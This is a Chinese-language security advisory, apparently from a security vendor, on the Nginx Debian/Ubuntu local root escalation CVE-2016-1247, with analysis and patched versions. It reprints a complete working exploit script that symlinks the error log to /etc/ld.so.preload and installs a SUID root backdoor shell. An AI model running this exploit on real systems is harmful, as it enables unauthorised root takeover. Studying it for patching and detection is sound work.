2016年11月15日(当地时间),legalhackers.com网站发布了一个关于Nginx服务器本地提权漏洞的通告,该通告所涉及的漏洞编号为CVE-2016-1247。基于Debian发行版系统(Debian或者Ubuntu)的Nginx服务器包被发现允许创建一个不安全的日志目录,攻击者可以利用此安全问题将用户权限从Nginx/web用户提升为root。 详情请见如下链接:http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
什么是Nginx
Nginx(发音同engine x)是一个网页服务器,它能反向代理HTTP, HTTPS, SMTP, POP3, IMAP的协议链接,以及一个负载均衡器和一个HTTP缓存。起初是供俄国大型的门户网站及搜索引擎Rambler使用。此软件在BSD-like协议下发行,可以在UNIX、GNU/Linux、BSD、Mac OS X、Solaris,以及Microsoft Windows等操作系统中运行。(引用自维基百科)
漏洞验证程序
POC代码如下,代码作者是Dawid Golunski。
------------[ nginxed-root.sh ]-------------- #!/bin/bash # # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # etc.) to escalate their privileges from nginx web server user (www-data) to root # through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" id | grep -q www-data if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." while :; do sleep 1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ld.so.preload should be owned by www-data user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi rm -f $ERRORLOG echo > $ERRORLOG # Use the rootshell to perform cleanup that requires root privilges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" # Reset the logging to error.log $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -i # Job done. cleanexit 0
受影响及修复情况:
- Debian
- Ubuntu
Ubuntu已修复的版本如下:
漏洞分析
Nginx安装后分配的日志权限为安装时设定使用的用户权限,即“…/log/nginx”的目录权限为使用者权限,因此在实际运行过程中可以对目录下的文件进行操作。目录权限如下图所示:
由于log文件所在目录为使用者权限,因此本地用户可以通过symlink符号链接的方式替换为任意文件。同时由于Nginx在重启或收到USR1信号的时候会对链接到日志的文件进行写操作,因此可以使攻击者提权。
攻击者在使用symlink替换完日志文件后,只需要等到Nginx再次打开该文件即可,而nginx在启动服务,或者接收到USR1进程信号时会打开日志文件。
然而在基于Debian的系统中,USR1信号会由调用do_rotate()函数的logrotate脚本发送。
而在默认安装的系统中,每天的6点25会执行logrotate脚本:
因此攻击者在24小时内就有机会进行提权。下面对攻击poc进行分析。其设置的参数为:
修改/etc/ld.so.preload提权文件的访问权限:
最终运行结果
漏洞触发关键点:
- 日志目录/var/log/nginx目录拥有者不为root,同时需有写权限;
- 由于在poc中需要写入/etc/ld.so.preload文件,因此需要有对该文件的写权限;
官方解决方案
Debian和Ubuntu官方已经对此漏洞进行了修复,建议用户升级到不受影响的版本。下载页面如下:
- Debian
Nginx package
https://sources.debian.net/src/nginx/
- Ubuntu 16.10
Nginx package 1.10.1-0ubuntu1.1:
https://launchpad.net/ubuntu/+source/nginx/1.10.1-0ubuntu1.1
- Ubuntu 16.04 LTS
Nginx package 1.10.0-0ubuntu0.16.04.3
https://launchpad.net/ubuntu/+source/nginx/1.10.0-0ubuntu0.16.04.3
- Ubuntu 14.04 LTS
Nginx package 1.4.6-1ubuntu3.6
https://launchpad.net/ubuntu/+source/nginx/1.4.6-1ubuntu3.6
技术防护方案
- 产品类
- 使用SaaS绿盟云紧急漏洞检测服务下载检测脚本进行检测,链接地址如下:
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026
- 使用绿盟科技的远程评估系统RSAS进行安全评估。
(2)服务类
- 短期服务:绿盟科技工程师现场处理(渗透测试+应急响应)。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
- 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
- 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)。
声 明
本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。
关于绿盟科技
北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。
如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669